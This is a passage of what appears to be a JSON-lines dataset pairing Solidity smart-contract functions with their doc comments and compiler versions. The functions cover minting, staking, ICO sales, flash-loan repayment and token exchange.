IERC20(pool.get_base_asset_address());\r\n if (base_asset.balanceOf(pools[11]) > 0) pool.hourly_strategy(adapters[3]);\r\n \r\n // USDC/Compound\r\n pool = ISaffronPool(pools[12]);\r\n base_asset = IERC20(pool.get_base_asset_address());\r\n if (base_asset.balanceOf(pools[12]) > 0) pool.hourly_strategy(adapters[4]);\r\n }", "version": "0.7.4"} {"comment": "/// @notice Repays the position with it's own fund or with FL if needed\n/// @param _exData Exchange data\n/// @param _cAddresses cTokens addreses and exchange [cCollAddress, cBorrowAddress, exchangeAddress]\n/// @param _gasCost Gas cost for specific transaction", "function_code": "function repayWithLoan(\n ExchangeData memory _exData,\n address[2] memory _cAddresses, // cCollAddress, cBorrowAddress\n uint256 _gasCost\n ) public payable burnGas(25) {\n uint maxColl = getMaxCollateral(_cAddresses[0], address(this));\n uint availableLiquidity = getAvailableLiquidity(_exData.srcAddr);\n\n if (_exData.srcAmount <= maxColl || availableLiquidity == 0) {\n repay(_exData, _cAddresses, _gasCost);\n } else {\n // 0x fee\n COMPOUND_SAVER_FLASH_LOAN.transfer(msg.value);\n\n uint loanAmount = (_exData.srcAmount - maxColl);\n if (loanAmount > availableLiquidity) loanAmount = availableLiquidity;\n bytes memory encoded = packExchangeData(_exData);\n bytes memory paramsData = abi.encode(encoded, _cAddresses, _gasCost, true, address(this));\n\n givePermission(COMPOUND_SAVER_FLASH_LOAN);\n\n lendingPool.flashLoan(COMPOUND_SAVER_FLASH_LOAN, getUnderlyingAddr(_cAddresses[0]), loanAmount, paramsData);\n\n removePermission(COMPOUND_SAVER_FLASH_LOAN);\n\n logger.Log(address(this), msg.sender, \"CompoundFlashRepay\", abi.encode(loanAmount, _exData.srcAmount, _cAddresses[0]));\n }\n }", "version": "0.6.12"} {"comment": "/// @dev Buys votes for an option, each vote costs voteCost.\n/// @param _id Which side gets the vote", "function_code": "function buyVotes(uint8 _id) public payable {\r\n // Ensure at least one vote can be purchased\r\n require(msg.value >= voteCost);\r\n // Ensure vote is only for listed Ivys\r\n require(_id >= 0 && _id <= 7);\r\n // Calculate number of votes\r\n uint256 votes = msg.value / voteCost;\r\n voteCounts[_id] += votes;\r\n // Don't bother sending remainder back because it is <0.001 eth\r\n }", "version": "0.4.18"} {"comment": "// Insert functions ", "function_code": "function addMasterWithSlave(address payable _master, address payable _slave, uint256 _masterPercent, uint256 _slavePercent , string memory _investorCode ) public onlyOwner {\n require(getMasterWithSlaveIndexByInvestorCode(_investorCode) == 0 && getMasterIndexByInvestorCode(_investorCode) == 0 );\n \n MasterWithSlave memory newData = MasterWithSlave(_master, _slave, _masterPercent, _slavePercent , _investorCode ,true ,true);\n \n masterWithSlaveData.push(newData);\n investorCodeToMasterWithSlaveIndex[_investorCode] = masterWithSlaveData.length -1;\n }", "version": "0.5.0"} {"comment": "/**\n * @notice create automation order\n * @param _otoken the address of otoken (only holders)\n * @param _amount amount of otoken (only holders)\n * @param _vaultId the id of specific vault to settle (only writers)\n * @param _toToken token address for custom token settlement\n */", "function_code": "function createOrder(\n address _otoken,\n uint256 _amount,\n uint256 _vaultId,\n address _toToken\n ) public override {\n uint256 fee;\n bool isSeller;\n if (_otoken == address(0)) {\n require(\n _amount == 0,\n \"AutoGamma::createOrder: Amount must be 0 when creating settlement order\"\n );\n fee = settleFee;\n isSeller = true;\n } else {\n require(\n isWhitelistedOtoken(_otoken),\n \"AutoGamma::createOrder: Otoken not whitelisted\"\n );\n fee = redeemFee;\n }\n\n if (_toToken != address(0)) {\n address payoutToken;\n if (isSeller) {\n address otoken = getVaultOtoken(msg.sender, _vaultId);\n payoutToken = getOtokenCollateral(otoken);\n } else {\n payoutToken = getOtokenCollateral(_otoken);\n }\n require(\n payoutToken != _toToken,\n \"AutoGamma::createOrder: same settlement token and collateral\"\n );\n require(\n uniPair[payoutToken][_toToken],\n \"AutoGamma::createOrder: settlement token not allowed\"\n );\n }\n\n uint256 orderId = orders.length;\n\n Order memory order;\n order.owner = msg.sender;\n order.otoken = _otoken;\n order.amount = _amount;\n order.vaultId = _vaultId;\n order.isSeller = isSeller;\n order.fee = fee;\n order.toToken = _toToken;\n orders.push(order);\n\n emit OrderCreated(orderId, msg.sender, _otoken);\n }", "version": "0.8.0"} {"comment": "/**\n * @notice cancel automation order\n * @param _orderId the id of specific order to be cancelled\n */", "function_code": "function cancelOrder(uint256 _orderId) public override {\n Order storage order = orders[_orderId];\n require(\n order.owner == msg.sender,\n \"AutoGamma::cancelOrder: Sender is not order owner\"\n );\n require(\n !order.finished,\n \"AutoGamma::cancelOrder: Order is already finished\"\n );\n\n order.finished = true;\n emit OrderFinished(_orderId, true);\n }", "version": "0.8.0"} {"comment": "/**\n * @notice check if processing order is profitable\n * @param _orderId the id of specific order to be processed\n * @return true if settling vault / redeeming returns more than 0 amount\n */", "function_code": "function shouldProcessOrder(uint256 _orderId)\n public\n view\n override\n returns (bool)\n {\n Order memory order = orders[_orderId];\n if (order.finished) return false;\n\n if (order.isSeller) {\n bool shouldSettle = shouldSettleVault(order.owner, order.vaultId);\n if (!shouldSettle) return false;\n } else {\n bool shouldRedeem = shouldRedeemOtoken(\n order.owner,\n order.otoken,\n order.amount\n );\n if (!shouldRedeem) return false;\n }\n\n return true;\n }", "version": "0.8.0"} {"comment": "/**\n * @notice process an order\n * @dev only automator allowed\n * @param _orderId the id of specific order to process\n */", "function_code": "function processOrder(uint256 _orderId, ProcessOrderArgs calldata orderArgs)\n public\n override\n onlyAuthorized\n {\n Order storage order = orders[_orderId];\n require(\n shouldProcessOrder(_orderId),\n \"AutoGamma::processOrder: Order should not be processed\"\n );\n order.finished = true;\n\n address payoutToken;\n uint256 payoutAmount;\n if (order.isSeller) {\n (payoutToken, payoutAmount) = settleVault(\n order.owner,\n order.vaultId\n );\n } else {\n (payoutToken, payoutAmount) = redeemOtoken(\n order.owner,\n order.otoken,\n order.amount\n );\n }\n\n // minus fee\n payoutAmount = payoutAmount - ((order.fee * payoutAmount) / 10000);\n\n if (order.toToken == address(0)) {\n IERC20(payoutToken).safeTransfer(order.owner, payoutAmount);\n } else {\n require(\n payoutToken == orderArgs.swapPath[0] &&\n order.toToken == orderArgs.swapPath[1],\n \"AutoGamma::processOrder: Invalid swap path\"\n );\n require(\n uniPair[payoutToken][order.toToken],\n \"AutoGamma::processOrder: token pair not allowed\"\n );\n\n IERC20(payoutToken).approve(address(uniRouter), payoutAmount);\n uint256[] memory amounts = swap(\n payoutAmount,\n orderArgs.swapAmountOutMin,\n orderArgs.swapPath\n );\n IERC20(order.toToken).safeTransfer(order.owner, amounts[1]);\n }\n\n emit OrderFinished(_orderId, false);\n }", "version": "0.8.0"} {"comment": "/**\n * @notice process multiple orders\n * @param _orderIds array of order ids to process\n */", "function_code": "function processOrders(\n uint256[] calldata _orderIds,\n ProcessOrderArgs[] calldata _orderArgs\n ) public override {\n require(\n _orderIds.length == _orderArgs.length,\n \"AutoGamma::processOrders: Params lengths must be same\"\n );\n for (uint256 i = 0; i < _orderIds.length; i++) {\n processOrder(_orderIds[i], _orderArgs[i]);\n }\n }", "version": "0.8.0"} {"comment": "/**\r\n \t * Mints PixelToros\r\n \t */", "function_code": "function mintPixelToros(uint numberOfPixelToros) public payable {\r\n\t\trequire(isSaleActive, \"Sale must be active to mint PixelToros\");\r\n\t\trequire(numberOfPixelToros <= maxPixelTorosPurchase, \"Can only mint 10 PixelToros at a time\");\r\n\t\trequire(totalSupply().add(numberOfPixelToros) <= MAX_PIXEL_TOROS, \"Purchase would exceed max supply of PixelToros\");\r\n\t\trequire(pixelToroPrice.mul(numberOfPixelToros) <= msg.value, \"Ether value sent is not correct\");\r\n\t\t\r\n\t\tfor(uint i = 0; i < numberOfPixelToros; i++) {\r\n\t\t\tuint256 newToroId = totalSupply();\r\n\r\n\t\t\tif (totalSupply() < MAX_PIXEL_TOROS) {\r\n\t\t\t\t_safeMint(msg.sender, newToroId);\r\n\t\t\t}\r\n\t\t}\r\n\t}", "version": "0.8.7"} {"comment": "/// @dev Owner reserve", "function_code": "function reserve(address to, uint256 amount) external onlyOwner {\r\n uint256 newTokenId = totalSupply();\r\n require(newTokenId + amount <= MAX_SUPPLY, \"exceed max supply\");\r\n for (uint256 i = 0; i < amount; i++) {\r\n _safeMint(to, newTokenId);\r\n newTokenId++;\r\n }\r\n }", "version": "0.8.4"} {"comment": "/**\r\n Function to freeze the tokens \r\n */", "function_code": "function freezeTokens(uint256 _value) public returns(bool){\r\n\r\n address callingUser = msg.sender;\r\n address contractAddress = address(this);\r\n\r\n //LOGIC TO WITHDRAW ANY OUTSTANDING MAIN DIVIDENDS\r\n //we want this current call to complete if we return true from withdrawDividendsEverything, otherwise revert.\r\n require(InterfaceDividend(dividendContractAdderess).withdrawDividendsEverything(), 'Outstanding div withdraw failed');\r\n \r\n\r\n //to freeze token, we just take token from his account and transfer to contract address, \r\n //and track that with usersTokenFrozen mapping variable\r\n // overflow and undeflow checked by SafeMath Library\r\n _transfer(callingUser, contractAddress, _value);\r\n\r\n\r\n //There is no integer underflow possibilities, as user must have that token _value, which checked in above _transfer function.\r\n frozenTokenGlobal += _value;\r\n usersTokenFrozen[callingUser] += _value;\r\n\r\n\r\n // emit events\r\n emit TokenFrozen(callingUser, _value);\r\n \r\n \r\n return true;\r\n }", "version": "0.5.11"} {"comment": "//To air drop", "function_code": "function airDrop(address[] memory recipients,uint[] memory tokenAmount) public onlyOwner returns (bool) {\r\n uint reciversLength = recipients.length;\r\n require(reciversLength <= 150);\r\n for(uint i = 0; i < reciversLength; i++)\r\n {\r\n if (gasleft() < 100000)\r\n {\r\n break;\r\n }\r\n //This will loop through all the recipients and send them the specified tokens\r\n _transfer(owner, recipients[i], tokenAmount[i]);\r\n }\r\n return true;\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @dev Gets current TheRestorian Price\r\n */", "function_code": "function getNFTPrice() public view returns (uint256) {\r\n require(minted < MAX_NFT_MINTED, \"Sale has already ended\");\r\n require(block.timestamp >= saleStartTimestamp, \"Sale has not started\");\r\n\r\n if (minted >= 3584) {\r\n return 255000000000000000;\r\n } else if (minted >= 3072) {\r\n return 240000000000000000;\r\n } else if (minted >= 2560) {\r\n return 200000000000000000;\r\n } else if (minted >= 2048) {\r\n return 170000000000000000;\r\n } else if (minted >= 1024) {\r\n return 140000000000000000;\r\n } else if (minted >= 512) {\r\n return 100000000000000000;\r\n } else {\r\n return 88000000000000000;\r\n }\r\n }", "version": "0.7.1"} {"comment": "/**\r\n * @dev Mints TheRestorian\r\n */", "function_code": "function mintNFT(uint256 numberOfNfts) public payable {\r\n require(numberOfNfts > 0, \"numberOfNfts cannot be 0\");\r\n require(numberOfNfts <= 20, \"You may not buy more than 20 NFTs at once\");\r\n require(minted.add(numberOfNfts) <= MAX_NFT_MINTED, \"Exceeds MAX_NFT_SUPPLY\");\r\n require(getNFTPrice().mul(numberOfNfts) == msg.value, \"Ether value sent is not correct\");\r\n\r\n for (uint i = 0; i < numberOfNfts; i++) {\r\n _safeMint(msg.sender, minted, 1);\r\n }\r\n\r\n /**\r\n * Source of randomness. Theoretical miner withhold manipulation possible but should be sufficient in a pragmatic sense\r\n */\r\n if (startingIndexBlock == 0 && (minted == MAX_NFT_MINTED || block.timestamp >= revealTimeStamp)) {\r\n startingIndexBlock = block.number;\r\n }\r\n }", "version": "0.7.1"} {"comment": "// ============ SUPPORTING FUNCTIONS ============", "function_code": "function getPrice(uint256 _numberOfDrivers, bool _whitelistActive)\r\n internal\r\n pure\r\n returns (uint256)\r\n {\r\n if (_whitelistActive) {\r\n if (_numberOfDrivers == 1) {\r\n return PRICE_PER_DRIVER;\r\n } else if (_numberOfDrivers == 4) {\r\n return WL_DISCOUNT_FOUR_DRIVERS;\r\n } else {\r\n return WL_DISCOUNT_TWENTY_DRIVERS;\r\n }\r\n } else {\r\n return _numberOfDrivers * PRICE_PER_DRIVER;\r\n }\r\n }", "version": "0.8.11"} {"comment": "/**\r\n * @dev Allows the current owner to change the minter.\r\n * @param _newMinter The address of the new minter.\r\n * @return True if the operation was successful.\r\n */", "function_code": "function setMinter(address _newMinter) external \r\n canMint\r\n onlyOwner \r\n returns(bool) \r\n {\r\n require(_newMinter != address(0), \"New minter must be a valid non-null address\");\r\n require(_newMinter != minter, \"New minter has to differ from previous minter\");\r\n\r\n emit MinterTransferred(minter, _newMinter);\r\n minter = _newMinter;\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Allows the current owner to change the assigner.\r\n * @param _newAssigner The address of the new assigner.\r\n * @return True if the operation was successful.\r\n */", "function_code": "function setAssigner(address _newAssigner) external \r\n onlyOwner \r\n canMint\r\n returns(bool) \r\n {\r\n require(_newAssigner != address(0), \"New assigner must be a valid non-null address\");\r\n require(_newAssigner != assigner, \"New assigner has to differ from previous assigner\");\r\n\r\n emit AssignerTransferred(assigner, _newAssigner);\r\n assigner = _newAssigner;\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Allows the current owner to change the burner.\r\n * @param _newBurner The address of the new burner.\r\n * @return True if the operation was successful.\r\n */", "function_code": "function setBurner(address _newBurner) external \r\n onlyOwner \r\n returns(bool) \r\n {\r\n require(_newBurner != address(0), \"New burner must be a valid non-null address\");\r\n require(_newBurner != burner, \"New burner has to differ from previous burner\");\r\n\r\n emit BurnerTransferred(burner, _newBurner);\r\n burner = _newBurner;\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Function to batch mint tokens.\r\n * @param _to An array of addresses that will receive the minted tokens.\r\n * @param _amounts An array with the amounts of tokens each address will get minted.\r\n * @param _batchMintId Identifier for the batch in order to synchronize with internal (off-chain) processes.\r\n * @return A boolean that indicates whether the operation was successful.\r\n */", "function_code": "function batchMint(address[] _to, uint256[] _amounts, uint256 _batchMintId) external\r\n canMint\r\n hasMintPermission\r\n returns (bool) \r\n {\r\n require(_to.length == _amounts.length, \"Input arrays must have the same length\");\r\n \r\n uint256 totalMintedTokens = 0;\r\n for (uint i = 0; i < _to.length; i++) {\r\n mint(_to[i], _amounts[i]);\r\n totalMintedTokens = totalMintedTokens.add(_amounts[i]);\r\n }\r\n \r\n emit BatchMint(totalMintedTokens, _batchMintId);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Function to assign a list of numbers of tokens to a given list of addresses.\r\n * @param _to The addresses that will receive the assigned tokens.\r\n * @param _amounts The amounts of tokens to assign.\r\n * @param _batchAssignId Identifier for the batch in order to synchronize with internal (off-chain) processes.\r\n * @return True if the operation was successful.\r\n */", "function_code": "function batchAssign(address[] _to, uint256[] _amounts, uint256 _batchAssignId) external\r\n canMint\r\n hasAssignPermission\r\n returns (bool) \r\n {\r\n require(_to.length == _amounts.length, \"Input arrays must have the same length\");\r\n \r\n uint256 totalAssignedTokens = 0;\r\n for (uint i = 0; i < _to.length; i++) {\r\n assign(_to[i], _amounts[i]);\r\n totalAssignedTokens = totalAssignedTokens.add(_amounts[i]);\r\n }\r\n \r\n emit BatchAssign(totalAssignedTokens, _batchAssignId);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Transfer tokens from one address to several others when minting is finished.\r\n * @param _to addresses The addresses which you want to transfer to\r\n * @param _amounts uint256 the amounts of tokens to be transferred\r\n * @param _batchTransferId Identifier for the batch in order to synchronize with internal (off-chain) processes.\r\n */", "function_code": "function transferInBatches(address[] _to, uint256[] _amounts, uint256 _batchTransferId) public\r\n whenMintingFinished\r\n whenNotPaused\r\n returns (bool) \r\n {\r\n require(_to.length == _amounts.length, \"Input arrays must have the same length\");\r\n \r\n uint256 totalTransferredTokens = 0;\r\n for (uint i = 0; i < _to.length; i++) {\r\n transfer(_to[i], _amounts[i]);\r\n totalTransferredTokens = totalTransferredTokens.add(_amounts[i]);\r\n }\r\n \r\n emit BatchTransfer(totalTransferredTokens, _batchTransferId);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Initialize the ICO contract\r\n */", "function_code": "function SelfllerySaleFoundation(\r\n address _token,\r\n address _selflleryManagerWallet,\r\n uint _tokenCents,\r\n uint _tokenPriceWei,\r\n uint _saleTokensCents,\r\n uint _startDate,\r\n uint _bonusEndDate,\r\n uint _endDate,\r\n uint _hardCapTokens,\r\n uint _minimumPurchaseAmount,\r\n uint8 _bonusPercent\r\n )\r\n public\r\n Ownable()\r\n {\r\n token = ERC20(_token);\r\n selflleryManagerWallet = _selflleryManagerWallet;\r\n tokenCents = _tokenCents;\r\n tokenPriceWei = _tokenPriceWei;\r\n saleTokensCents = _saleTokensCents;\r\n startDate = _startDate;\r\n bonusEndDate = _bonusEndDate;\r\n endDate = _endDate;\r\n hardCapTokens = _hardCapTokens;\r\n minimumPurchaseAmount = _minimumPurchaseAmount;\r\n bonusPercent = _bonusPercent;\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Purchase tokens for the amount of ether sent to this contract for custom address\r\n * @param _participant The address of the participant\r\n * @return A boolean that indicates if the operation was successful.\r\n */", "function_code": "function purchaseFor(address _participant) public payable onlyDuringICODates() returns(bool) {\r\n require(_participant != 0x0);\r\n require(paidEther[_participant].add(msg.value) >= minimumPurchaseAmount);\r\n\r\n selflleryManagerWallet.transfer(msg.value);\r\n\r\n uint currentBonusPercent = getCurrentBonusPercent();\r\n uint totalTokens = calcTotalTokens(msg.value, currentBonusPercent);\r\n require(currentCapTokens.add(totalTokens) <= saleTokensCents);\r\n require(token.transferFrom(owner, _participant, totalTokens));\r\n sentTokens[_participant] = sentTokens[_participant].add(totalTokens);\r\n currentCapTokens = currentCapTokens.add(totalTokens);\r\n currentCapEther = currentCapEther.add(msg.value);\r\n paidEther[_participant] = paidEther[_participant].add(msg.value);\r\n Purchase(_participant, totalTokens, msg.value);\r\n\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Add pre-sale purchased tokens only owner\r\n * @param _participant The address of the participant\r\n * @param _totalTokens Total tokens amount for pre-sale participant\r\n * @return A boolean that indicates if the operation was successful.\r\n */", "function_code": "function addPreSalePurchaseTokens(address _participant, uint _totalTokens) public onlyOwner returns(bool) {\r\n require(_participant != 0x0);\r\n require(_totalTokens > 0);\r\n require(currentCapTokens.add(_totalTokens) <= saleTokensCents);\r\n\r\n require(token.transferFrom(owner, _participant, _totalTokens));\r\n sentTokens[_participant] = sentTokens[_participant].add(_totalTokens);\r\n preSaleParticipantTokens[_participant] = preSaleParticipantTokens[_participant].add(_totalTokens);\r\n currentCapTokens = currentCapTokens.add(_totalTokens);\r\n PreSalePurchase(_participant, _totalTokens);\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "/* actions */", "function_code": "function _collectPatronage() public {\r\n // determine patronage to pay\r\n if (state == StewardState.Owned) {\r\n uint256 collection = patronageOwed();\r\n \r\n // should foreclose and stake stewardship\r\n if (collection >= deposit) {\r\n // up to when was it actually paid for?\r\n timeLastCollected = timeLastCollected.add(((now.sub(timeLastCollected)).mul(deposit).div(collection)));\r\n collection = deposit; // take what's left.\r\n\r\n _foreclose();\r\n } else {\r\n // just a normal collection\r\n timeLastCollected = now;\r\n currentCollected = currentCollected.add(collection);\r\n }\r\n \r\n deposit = deposit.sub(collection);\r\n totalCollected = totalCollected.add(collection);\r\n organizationFund = organizationFund.add(collection);\r\n emit LogCollection(collection);\r\n }\r\n }", "version": "0.5.8"} {"comment": "/**\r\n * Change the upgrade master.\r\n *\r\n * This allows us to set a new owner for the upgrade mechanism.\r\n */", "function_code": "function setUpgradeMaster(address master) public {\r\n require(master != address(0), \"The provided upgradeMaster is required to be a non-empty address when setting upgrade master.\");\r\n\r\n require(msg.sender == upgradeMaster, \"Message sender is required to be the original upgradeMaster when setting (new) upgrade master.\");\r\n\r\n upgradeMaster = master;\r\n }", "version": "0.4.22"} {"comment": "/**\r\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\r\n *\r\n * Returns a boolean value indicating whether the operation succeeded.\r\n *\r\n * Approve with a value of `MAX_UINT = 2 ** 256 - 1` will symbolize\r\n * an approval of infinite value.\r\n *\r\n * IMPORTANT:to prevent the risk that someone may use both the old and\r\n * the new allowance by unfortunate transaction ordering,\r\n * the approval must be set to 0 before it can be changed to any\r\n * different desired value.\r\n *\r\n * see: https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\r\n *\r\n * Emits an {Approval} event.\r\n */", "function_code": "function approve(address spender, uint256 value) public returns (bool) {\r\n require(\r\n value == 0 || _allowances[msg.sender][spender] == 0,\r\n \"ERC20: approve only to or from 0 value\"\r\n );\r\n _approve(msg.sender, spender, value);\r\n return true;\r\n }", "version": "0.5.8"} {"comment": "///@dev Withdraws staked waTokens from the transmuter\n///\n/// This function reverts if you try to draw more tokens than you deposited\n///\n///@param amount the amount of waTokens to unstake", "function_code": "function unstake(uint256 amount) public updateAccount(msg.sender) {\r\n // by calling this function before transmuting you forfeit your gained allocation\r\n address sender = msg.sender;\r\n require(depositedWaTokens[sender] >= amount,\"TransmuterD8: unstake amount exceeds deposited amount\");\r\n depositedWaTokens[sender] = depositedWaTokens[sender].sub(amount);\r\n totalSupplyWaTokens = totalSupplyWaTokens.sub(amount);\r\n IERC20Burnable(WaToken).safeTransfer(sender, amount);\r\n }", "version": "0.6.12"} {"comment": "///@dev Deposits waTokens into the transmuter\n///\n///@param amount the amount of waTokens to stake", "function_code": "function stake(uint256 amount)\r\n public\r\n runPhasedDistribution()\r\n updateAccount(msg.sender)\r\n checkIfNewUser()\r\n {\r\n // requires approval of waToken first\r\n address sender = msg.sender;\r\n //require tokens transferred in;\r\n IERC20Burnable(WaToken).safeTransferFrom(sender, address(this), amount);\r\n totalSupplyWaTokens = totalSupplyWaTokens.add(amount);\r\n depositedWaTokens[sender] = depositedWaTokens[sender].add(amount);\r\n }", "version": "0.6.12"} {"comment": "/// @dev Converts the staked waTokens to the base tokens in amount of the sum of pendingdivs and tokensInBucket\n///\n/// once the waToken has been converted, it is burned, and the base token becomes realisedTokens which can be recieved using claim()\n///\n/// reverts if there are no pendingdivs or tokensInBucket", "function_code": "function transmute() public runPhasedDistribution() updateAccount(msg.sender) {\r\n address sender = msg.sender;\r\n uint256 pendingz = tokensInBucket[sender];\r\n uint256 diff;\r\n\r\n require(pendingz > 0, \"need to have pending in bucket\");\r\n\r\n tokensInBucket[sender] = 0;\r\n\r\n // check bucket overflow\r\n if (pendingz > depositedWaTokens[sender]) {\r\n diff = pendingz.sub(depositedWaTokens[sender]);\r\n\r\n // remove overflow\r\n pendingz = depositedWaTokens[sender];\r\n }\r\n\r\n // decrease watokens\r\n depositedWaTokens[sender] = depositedWaTokens[sender].sub(pendingz);\r\n\r\n // BURN WATOKENS\r\n IERC20Burnable(WaToken).burn(pendingz);\r\n\r\n // adjust total\r\n totalSupplyWaTokens = totalSupplyWaTokens.sub(pendingz);\r\n\r\n // reallocate overflow\r\n increaseAllocations(diff);\r\n\r\n // add payout\r\n realisedTokens[sender] = realisedTokens[sender].add(pendingz);\r\n }", "version": "0.6.12"} {"comment": "/// @dev Executes transmute() on another account that has had more base tokens allocated to it than waTokens staked.\n///\n/// The caller of this function will have the surlus base tokens credited to their tokensInBucket balance, rewarding them for performing this action\n///\n/// This function reverts if the address to transmute is not over-filled.\n///\n/// @param toTransmute address of the account you will force transmute.", "function_code": "function forceTransmute(address toTransmute)\r\n public\r\n runPhasedDistribution()\r\n updateAccount(msg.sender)\r\n updateAccount(toTransmute)\r\n {\r\n //load into memory\r\n address sender = msg.sender;\r\n uint256 pendingz = tokensInBucket[toTransmute];\r\n // check restrictions\r\n require(\r\n pendingz > depositedWaTokens[toTransmute],\r\n \"TransmuterD8: !overflow\"\r\n );\r\n\r\n // empty bucket\r\n tokensInBucket[toTransmute] = 0;\r\n\r\n // calculaate diffrence\r\n uint256 diff = pendingz.sub(depositedWaTokens[toTransmute]);\r\n\r\n // remove overflow\r\n pendingz = depositedWaTokens[toTransmute];\r\n\r\n // decrease waTokens\r\n depositedWaTokens[toTransmute] = 0;\r\n\r\n // BURN WATOKENS\r\n IERC20Burnable(WaToken).burn(pendingz);\r\n\r\n // adjust total\r\n totalSupplyWaTokens = totalSupplyWaTokens.sub(pendingz);\r\n\r\n // reallocate overflow\r\n tokensInBucket[sender] = tokensInBucket[sender].add(diff);\r\n\r\n // add payout\r\n realisedTokens[toTransmute] = realisedTokens[toTransmute].add(pendingz);\r\n\r\n // force payout of realised tokens of the toTransmute address\r\n if (realisedTokens[toTransmute] > 0) {\r\n uint256 value = realisedTokens[toTransmute];\r\n realisedTokens[toTransmute] = 0;\r\n IERC20Burnable(Token).safeTransfer(toTransmute, value);\r\n }\r\n }", "version": "0.6.12"} {"comment": "/// @dev Gets the status of a user's staking position.\n///\n/// The total amount allocated to a user is the sum of pendingdivs and inbucket.\n///\n/// @param user the address of the user you wish to query.\n///\n/// returns user status", "function_code": "function userInfo(address user)\r\n public\r\n view\r\n returns (\r\n uint256 depositedAl,\r\n uint256 pendingdivs,\r\n uint256 inbucket,\r\n uint256 realised\r\n )\r\n {\r\n uint256 _depositedAl = depositedWaTokens[user];\r\n uint256 _toDistribute = buffer.mul(block.number.sub(lastDepositBlock)).div(TRANSMUTATION_PERIOD);\r\n if(block.number.sub(lastDepositBlock) > TRANSMUTATION_PERIOD){\r\n _toDistribute = buffer;\r\n }\r\n uint256 _pendingdivs = _toDistribute.mul(depositedWaTokens[user]).div(totalSupplyWaTokens);\r\n uint256 _inbucket = tokensInBucket[user].add(dividendsOwing(user));\r\n uint256 _realised = realisedTokens[user];\r\n return (_depositedAl, _pendingdivs, _inbucket, _realised);\r\n }", "version": "0.6.12"} {"comment": "/// @dev Gets the status of multiple users in one call\n///\n/// This function is used to query the contract to check for\n/// accounts that have overfilled positions in order to check\n/// who can be force transmuted.\n///\n/// @param from the first index of the userList\n/// @param to the last index of the userList\n///\n/// returns the userList with their staking status in paginated form.", "function_code": "function getMultipleUserInfo(uint256 from, uint256 to)\r\n public\r\n view\r\n returns (address[] memory theUserList, uint256[] memory theUserData)\r\n {\r\n uint256 i = from;\r\n uint256 delta = to - from;\r\n address[] memory _theUserList = new address[](delta); //user\r\n uint256[] memory _theUserData = new uint256[](delta * 2); //deposited-bucket\r\n uint256 y = 0;\r\n uint256 _toDistribute = buffer.mul(block.number.sub(lastDepositBlock)).div(TRANSMUTATION_PERIOD);\r\n if(block.number.sub(lastDepositBlock) > TRANSMUTATION_PERIOD){\r\n _toDistribute = buffer;\r\n }\r\n for (uint256 x = 0; x < delta; x += 1) {\r\n _theUserList[x] = userList[i];\r\n _theUserData[y] = depositedWaTokens[userList[i]];\r\n _theUserData[y + 1] = dividendsOwing(userList[i]).add(tokensInBucket[userList[i]]).add(_toDistribute.mul(depositedWaTokens[userList[i]]).div(totalSupplyWaTokens));\r\n y += 2;\r\n i += 1;\r\n }\r\n return (_theUserList, _theUserData);\r\n }", "version": "0.6.12"} {"comment": "// Note: Order creation happens off-chain but the orders are signed by creators,\n// we validate the contents and the creator address in the logic below", "function_code": "function trade(address _tokenGet, uint _amountGet, address _tokenGive, uint _amountGive,\r\n uint _expires, uint _nonce, address _user, uint8 _v, bytes32 _r, bytes32 _s, uint _amount) {\r\n bytes32 hash = sha256(this, _tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _nonce);\r\n // Check order signatures and expiration, also check if not fulfilled yet\r\n\t\tif (ecrecover(sha3(\"\\x19Ethereum Signed Message:\\n32\", hash), _v, _r, _s) != _user ||\r\n block.number > _expires ||\r\n safeAdd(orderFills[_user][hash], _amount) > _amountGet) {\r\n revert();\r\n }\r\n tradeBalances(_tokenGet, _amountGet, _tokenGive, _amountGive, _user, msg.sender, _amount);\r\n orderFills[_user][hash] = safeAdd(orderFills[_user][hash], _amount);\r\n Trade(_tokenGet, _amount, _tokenGive, _amountGive * _amount / _amountGet, _user, msg.sender, _nonce);\r\n }", "version": "0.4.24"} {"comment": "// User-triggered (!) fund migrations in case contract got updated\n// Similar to withdraw but we use a successor account instead\n// As we don't store user tokens list on chain, it has to be passed from the outside", "function_code": "function migrateFunds(address[] _tokens) {\r\n\r\n // Get the latest successor in the chain\r\n require(successor != address(0));\r\n TokenStore newExchange = TokenStore(successor);\r\n for (uint16 n = 0; n < 20; n++) { // We will look past 20 contracts in the future\r\n address nextSuccessor = newExchange.successor();\r\n if (nextSuccessor == address(this)) { // Circular succession\r\n revert();\r\n }\r\n if (nextSuccessor == address(0)) { // We reached the newest, stop\r\n break;\r\n }\r\n newExchange = TokenStore(nextSuccessor);\r\n }\r\n\r\n // Ether\r\n uint etherAmount = tokens[0][msg.sender];\r\n if (etherAmount > 0) {\r\n tokens[0][msg.sender] = 0;\r\n newExchange.depositForUser.value(etherAmount)(msg.sender);\r\n }\r\n\r\n // Tokens\r\n for (n = 0; n < _tokens.length; n++) {\r\n address token = _tokens[n];\r\n require(token != address(0)); // 0 = Ether, we handle it above\r\n uint tokenAmount = tokens[token][msg.sender];\r\n if (tokenAmount == 0) {\r\n continue;\r\n }\r\n if (!Token(token).approve(newExchange, tokenAmount)) {\r\n revert();\r\n }\r\n tokens[token][msg.sender] = 0;\r\n newExchange.depositTokenForUser(token, tokenAmount, msg.sender);\r\n }\r\n\r\n FundsMigrated(msg.sender);\r\n }", "version": "0.4.24"} {"comment": "// This is used for migrations only. To be called by previous exchange only,\n// user-triggered, on behalf of the user called the migrateFunds method.\n// Note that it does exactly the same as depositToken, but as this is called\n// by a previous generation of exchange itself, we credit internally not the\n// previous exchange, but the user it was called for.", "function_code": "function depositForUser(address _user) payable deprecable {\r\n require(_user != address(0));\r\n require(msg.value > 0);\r\n TokenStore caller = TokenStore(msg.sender);\r\n require(caller.version() > 0); // Make sure it's an exchange 